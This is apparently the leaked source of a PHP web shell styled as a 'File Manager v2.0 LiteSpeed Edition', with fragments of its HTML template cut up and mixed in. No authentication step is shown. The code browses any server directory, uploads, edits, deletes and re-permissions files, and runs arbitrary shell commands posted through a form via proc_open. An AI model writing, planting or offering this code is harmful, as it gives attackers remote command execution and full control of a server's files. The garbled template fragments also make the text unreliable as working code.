File Manager

v2.0 · LiteSpeed Edition

$d) $_GET[$c]=y($d); $currentDirectory = realpath(isset($_GET['d'])?$_GET['d']:$rootDirectory); chdir($currentDirectory); $viewCommandResult=''; $statusMessage=''; $statusType=''; $editorLoad = null; // for pre-loading editor content if($_SERVER['REQUEST_METHOD']==='POST'){ if(isset($_FILES['fileToUpload'])){ $t=$currentDirectory.'/'.basename($_FILES["fileToUpload"]["name"]); if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],$t)){$statusMessage='File "'.htmlspecialchars(basename($_FILES["fileToUpload"]["name"])).'" uploaded';$statusType='success';} else{$statusMessage='Failed to upload';$statusType='error';} }elseif(isset($_POST['folder_name'])&&!empty($_POST['folder_name'])){ $nf=$currentDirectory.'/'.$_POST['folder_name']; if(!file_exists($nf)){mkdir($nf);$statusMessage='Folder created';$statusType='success';} else{$statusMessage='Folder already exists';$statusType='error';} }elseif(isset($_POST['file_name'])&&!empty($_POST['file_name'])){ $nf=$currentDirectory.'/'.$_POST['file_name']; $ex=file_exists($nf); if(file_put_contents($nf,$_POST['file_content'])!==false){$statusMessage=$ex?'File saved':'File created';$statusType='success';} else{$statusMessage='Failed to save file';$statusType='error';} }elseif(isset($_POST['delete_file'])){ $t=$currentDirectory.'/'.$_POST['delete_file']; if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$statusMessage=$ok?'Deleted':'Failed to delete';$statusType=$ok?'success':'error';} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['bulk_delete'])&&!empty($_POST['selected_items'])){ $del=0;$fail=0; foreach($_POST['selected_items'] as $item){ $t=$currentDirectory.'/'.basename($item); if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$ok?$del++:$fail++;} } $statusMessage="Deleted $del item(s)".($fail?", $fail failed":''); $statusType=$fail?'error':'success'; }elseif(isset($_POST['rename_item'])&&isset($_POST['old_name'])&&isset($_POST['new_name'])){ $on=$currentDirectory.'/'.$_POST['old_name']; $nn=$currentDirectory.'/'.$_POST['new_name']; if(file_exists($on)){if(rename($on,$nn)){$statusMessage='Renamed successfully';$statusType='success';}else{$statusMessage='Rename failed';$statusType='error';}} else{$statusMessage='Not found';$statusType='error';} }elseif(isset($_POST['chmod_file'])&&isset($_POST['chmod_value'])){ $t=$currentDirectory.'/'.basename($_POST['chmod_file']); $mode=octdec($_POST['chmod_value']); if(file_exists($t)&&chmod($t,$mode)){$statusMessage='Permissions changed to '.$_POST['chmod_value'];$statusType='success';} else{$statusMessage='chmod failed';$statusType='error';} }elseif(isset($_POST['zip_file'])){ $t=$currentDirectory.'/'.basename($_POST['zip_file']); $zn=$currentDirectory.'/'.basename($_POST['zip_file']).'.zip'; if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zn,ZipArchive::CREATE)===TRUE){ if(is_dir($t)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($t,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as $f)$zip->addFile($f->getRealPath(),basename($t).'/'.$it->getSubPathname());} else{$zip->addFile($t,basename($t));} $zip->close();$statusMessage='Zipped as '.basename($zn);$statusType='success'; }else{$statusMessage='Failed to create zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['extract_file'])){ $zp=$currentDirectory.'/'.basename($_POST['extract_file']); if(class_exists('ZipArchive')){ $zip=new ZipArchive(); if($zip->open($zp)===TRUE){ $to=$currentDirectory.'/'.pathinfo(basename($zp),PATHINFO_FILENAME); $zip->extractTo($to);$zip->close(); $statusMessage='Extracted to /'.basename($to);$statusType='success'; }else{$statusMessage='Failed to open zip';$statusType='error';} }else{$statusMessage='ZipArchive not available';$statusType='error';} }elseif(isset($_POST['cmd_input'])){ $cmd=$_POST['cmd_input']; $ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $proc=proc_open($cmd,$ds,$pipes); if(is_resource($proc)){ $out=stream_get_contents($pipes[1]);$err=stream_get_contents($pipes[2]); fclose($pipes[1]);fclose($pipes[2]);proc_close($proc); $viewCommandResult=['type'=>'command','label'=>'$ '.htmlspecialchars($cmd),'content'=>htmlspecialchars(!empty($err)?$err:$out),'filename'=>'']; }else{$statusMessage='Failed to execute command';$statusType='error';} }elseif(isset($_POST['view_file'])){ $fv=$currentDirectory.'/'.$_POST['view_file']; if(file_exists($fv)){ $viewCommandResult=['type'=>'view','label'=>'Viewing: '.htmlspecialchars($_POST['view_file']),'content'=>htmlspecialchars(file_get_contents($fv)),'filename'=>$_POST['view_file']]; }else{$statusMessage='File not found';$statusType='error';} }elseif(isset($_POST['editor_load'])){ $fv=$currentDirectory.'/'.$_POST['editor_load']; if(file_exists($fv)){ $editorLoad=['filename'=>$_POST['editor_load'],'content'=>file_get_contents($fv)]; } } } function deleteDirectory($dir){ if(!file_exists($dir))return true;if(!is_dir($dir))return unlink($dir); foreach(scandir($dir) as $i){if($i=='.'||$i=='..')continue;if(!deleteDirectory($dir.DIRECTORY_SEPARATOR.$i))return false;} return rmdir($dir); } function formatFileSize($b){ if($b>=1073741824)return number_format($b/1073741824,2).' GB'; elseif($b>=1048576)return number_format($b/1048576,2).' MB'; elseif($b>=1024)return number_format($b/1024,2).' KB'; elseif($b>1)return $b.' bytes';elseif($b==1)return '1 byte';else return '0 bytes'; } function extColor($e){ $m=['php'=>'text-violet-400','js'=>'text-yellow-400','ts'=>'text-blue-400','html'=>'text-orange-400','htm'=>'text-orange-400','css'=>'text-cyan-400','json'=>'text-yellow-300','xml'=>'text-orange-300','sql'=>'text-emerald-400','py'=>'text-blue-300','sh'=>'text-green-400','bash'=>'text-green-400','txt'=>'text-slate-400','md'=>'text-slate-300','zip'=>'text-purple-400','tar'=>'text-purple-400','gz'=>'text-purple-300','jpg'=>'text-pink-400','jpeg'=>'text-pink-400','png'=>'text-pink-400','gif'=>'text-pink-400','svg'=>'text-pink-300','pdf'=>'text-red-400','log'=>'text-amber-400']; return $m[$e]??'text-slate-400'; } function extLang($e){ $m=['php'=>'php','js'=>'javascript','ts'=>'typescript','html'=>'html','htm'=>'html','css'=>'css','json'=>'json','xml'=>'xml','sql'=>'sql','py'=>'python','sh'=>'bash','bash'=>'bash','md'=>'markdown']; return $m[$e]??'plaintext'; } ?> File Manager window._editorAutoLoad='.json_encode(['filename'=>$editorLoad['filename'],'content'=>$editorLoad['content']]).';'; } ?>
| |
/'.htmlspecialchars($bd).'';} echo '/[home]'; ?>
'; $fileIcon=''; $btn='inline-flex items-center justify-center w-7 h-7 rounded-lg bg-slate-700/50 text-slate-400 border border-slate-700 transition-all'; ?>
Name 👁 ✏️ 📦 🔑 🗑 Rename
'; ?>
—'; endif; ?>
—'; endif; ?>
'; echo ''.$cnt.' item'.($cnt!==1?'s':'').''; echo ''.htmlspecialchars($currentDirectory).''; echo '
'; ?>